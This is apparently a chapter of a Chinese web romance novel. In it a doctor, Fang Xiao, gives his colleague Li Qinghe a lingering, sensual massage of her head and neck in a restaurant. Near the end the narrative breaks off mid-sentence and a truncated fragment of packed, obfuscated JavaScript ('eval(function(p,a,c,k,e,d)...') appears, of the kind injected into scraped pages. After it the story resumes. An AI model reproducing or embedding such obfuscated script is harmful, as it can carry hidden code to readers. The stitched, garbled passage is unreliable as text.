缠着发丝的手指忽然收紧，方晓俯身时白大褂领口扫过她脸颊："李医生，你现在是患者，放松就好。" 温热的吐息里，方晓故意用虎口卡住李青荷的下巴，拇指抚过她咬出齿痕的下唇："松开，不然的话……" 停顿的间隙里，他无名指勾着那缕头发轻轻一拽，"会疼。" 邻座传来餐具碰撞的清脆声响，李青荷这才惊觉他们的姿势有多暧昧——她整个人几乎被圈在方晓怀里，他外衣的下摆不知何时缠住了她的裙角。 而始作俑者依然从容地维持着医者的表情，只有眼睛最深处暗沉的目光和越界的手指泄露了端倪。 当他的拇指终于如愿揉开她紧咬的唇瓣时，李青荷尝到了他指尖淡淡的酒精味，混着某种说不清道不明的冷香。 而方晓的呼吸早已乱了节奏，每一次吐息都让缠在她发间的无名指无意识蜷缩，像在克制更过分的触碰。 "方医生..."她的声音像浸了蜜的棉花糖，软得不成调。 "嗯？"方晓应得漫不经心，小指却沿着她发际线游走，在太阳穴暧昧地打着转。 衬衣的袖口随着动作蹭过她脸颊，带着他身上特有的冷冽气息。 李青荷突然往后靠了靠，后脑勺几乎贴上他的胸膛。 这个无意识的动作让两人同时僵住——她甚至能清晰感受到身后胸腔里突然加速的心跳。 不过，好舒服啊，李青荷脑海里闪过一个念头。 方晓的喉结重重滚了滚，按在她穴位上的拇指突然失了力道，变成带着薄茧的轻柔抚摸。 两人身边的空气突然变得粘稠，让方晓和李青荷的呼吸同事变得困难了起来。 "这里。"他的嗓音哑得不像话，指尖顺着她颈椎缓缓下滑，"还有一处需要按。" 衬衣的布料摩挲的声响在寂静中格外清晰。 李青荷突然抓住他即将探入衣领的手腕，却被他反手扣住五指。交缠的指节间，映出两人交叠的剪影。 方晓的拇指缓缓按压，力道恰到好处，既不会太重让人不适，又不会太轻显得敷衍。 主要是方晓也不敢用力，毕竟在公众场合，真要是李青荷出现张珈榕一样的反应的话，他怕李青荷会恼羞成怒。 还是慢慢来比较好，方晓心里想到。 李青荷能感觉到他的体温透过发丝传来，像是一股暖流，从头顶蔓延至全身。 她的呼吸不自觉地放轻，睫毛微微颤动，手指无意识地攥紧了衣角。 "这样就对了，放轻松。"方晓的声音近在耳畔，温热的气息若有似无地扫过她的耳垂，"肩颈都绷着，你放轻松力量才能透进去。" 他的指尖顺着她的发丝滑下，轻轻按在她的后颈。 那一瞬间，李青荷几乎屏住了呼吸——他的触碰太过亲密，却又带着医者特有的专业克制，让人无法拒绝。 方晓的指节微微用力，揉开她紧绷的肌肉，动作娴熟得仿佛早已熟悉她身体的每一处反应。 "方、方医生......"她的声音轻得几乎听不见，尾音微微发颤。 "嗯？"他应了一声，手上的动作却没停，反而顺着她的颈椎缓缓下移，拇指在她肩胛内侧的穴位上轻轻一按。 "啊......"李青荷不受控制地轻哼出声，随即立刻咬住下唇，耳尖红得滴血。 方晓低笑了一声，胸腔的震动透过两人之间稀薄的空气传来。 他的掌心稳稳托住李青荷的后颈，修长的手指几乎能环住她纤细的脖颈。 拇指指腹精准地抵在李青荷的天柱穴上，打着圈缓缓施压，力道恰到好处地游走在舒适与刺激的边缘。 李青荷不自觉地仰起头，像一只被捏住后颈的猫。 她感觉到方晓的拇指在发际线处流连，每一次按压都带着电流般的感觉，从颈后直窜到尾椎不断游走。 第148章 头疼？我给你按一下（下） 第一百四十八章头疼？我给你按一下（下） 而方医生的指尖仿佛带着魔力，轻易就找到了她最脆弱的那处穴位，轻轻一按就让她浑身发软。 "唔..."她不受控制地溢出一声轻哼，随即羞耻地咬住下唇。可方晓似乎早就料到她的反应，拇指突然加重力道，在她最脆弱的那处穴位上不轻不重地一碾。 "啊..."李青荷瞬间像被抽走了全身的骨头，整个人软绵绵地向前倾去。方晓适时地用另一只手扶住她的肩膀，温热的手掌透过薄薄的衣料传来令人安心的温度。 "放松。"他的声音低沉沙哑，带着几分诱哄的意味，"交给我就好。" 李青荷已经无法说话，她的脸颊满是红晕，拇指继续在那处穴位上打着圈，力道时轻时重，每一次按压都让李青荷的身体产生微妙的变化。 她感觉自己像是漂浮在云端，所有的感官都集中在方晓触碰的那一小块皮肤上，时不时的就会迸发一下。 李青荷全力以赴让自己别哼出来。 餐厅里虽然很安静，但还是有人，李青荷觉得太丢脸了。 想着想着，李青荷感觉身上发热。 方晓的呼吸不知何时变得粗重，喷洒在她耳后的气息灼热得惊人。他的指尖微微发烫，在按压的间隙若有似无地摩挲着她细腻的皮肤，带着几分说不清道不明的情绪。 李青荷能感觉到他的胸膛紧贴着自己的后背，每一次呼吸都带动着结实的肌肉起伏。 属于男性的气息将她完全笼罩，混合着淡淡的酒香，让她头晕目眩。 "方、方医生..."她的声音细若蚊呐，尾音带着细微的颤抖。 "嗯？"方晓低低地应了一声，手上的动作丝毫不停。他的拇指突然沿着她的颈椎缓缓下滑，所过之处激起一片细小的疙瘩。 李青荷再也支撑不住，整个人软软地靠进了他怀里。 方晓顺势将她搂在怀里，下巴轻轻蹭过她的发顶，发出一声满足的喟叹。 "这才乖。"他的声音里带着几分得逞的愉悦，手上的力道却更加温柔，像是在安抚一只受惊的小动物。 李青荷闭着眼睛，感觉自己像是浸泡在温水中，全身的力气都被抽走，只剩下方晓的触碰成为唯一的支点。 而方晓的指尖仿佛带着魔力，轻易就瓦解了她所有的防备。 在这一刻，她甘愿就这样迷失下去。 "这里，天宗穴。"他的声音带着几分诱哄的意味，"主治肩背酸痛。" 李青荷说不出话来，只能感觉到自己的心跳快得不像话，仿佛下一秒就要跳出来似的。 方晓的指尖像是带着电流，所到之处皆是一片麻麻的感觉。 而且他的呼吸近在咫尺，身上淡淡的男性气息将李青荷整个人笼罩其中，难以自拔。 就在她几乎要沉溺在这片温暖的氛围中时，方晓却忽然收手，后退半步，拉开了距离。 "好了。"他的声音恢复了平常的温和，仿佛刚才的一切都只是她的错觉，"现在感觉怎么样？" 李青荷怔怔地抬头，正对上他含笑的眼眸。 阳光透过窗户洒在他的侧脸上，勾勒出他优越的轮廓。他的唇角微微上扬，镜片后的目光深邃而温柔，却又藏着几分她读不懂的情绪。 她忽然意识到——自己似乎，掉进了某个温暖的陷阱里。 刚刚的舒适一下子没了，李青荷觉得心里空落落的，有点怅然若失。 李青荷还沉浸在方晓指尖的温度里，突然抽离的触感让她心头一空，像是被人突然掐灭了暖炉。 她下意识地微微仰头，不自觉地追着他撤离的指尖——这个动作让她自己都愣住了。 方晓的眼睛里满是笑意。 他保持着恰到好处的距离，衬衣的袖口却若有似无地擦过李青荷的肩膀。 "怎么？"他声音里带着明知故问的笑意，修长的手指慢条斯理地整理着衣服，"还没够？头疼是不是好了。" 这句话让李青荷的耳根烧得更厉害了。她慌乱地别开眼，却正好瞥见方晓的喉结滚动了一下——他的镇定分明也是装的。 "我……"她刚想辩解，方晓忽然俯身。 他单手撑在她椅背上，外衣的衣襟随着动作微微敞开，露出里面熨帖的衬衫。这个姿势将他身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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餐厅的灯光恰到好处地打在他侧脸上，眼睛含着笑意，却又藏着几分危险的暗涌。李青荷突然意识到，这看似温和的医生，骨子里分明是个步步为营的猎手。 而自己，似乎正心甘情愿地踏入他精心布置的陷阱。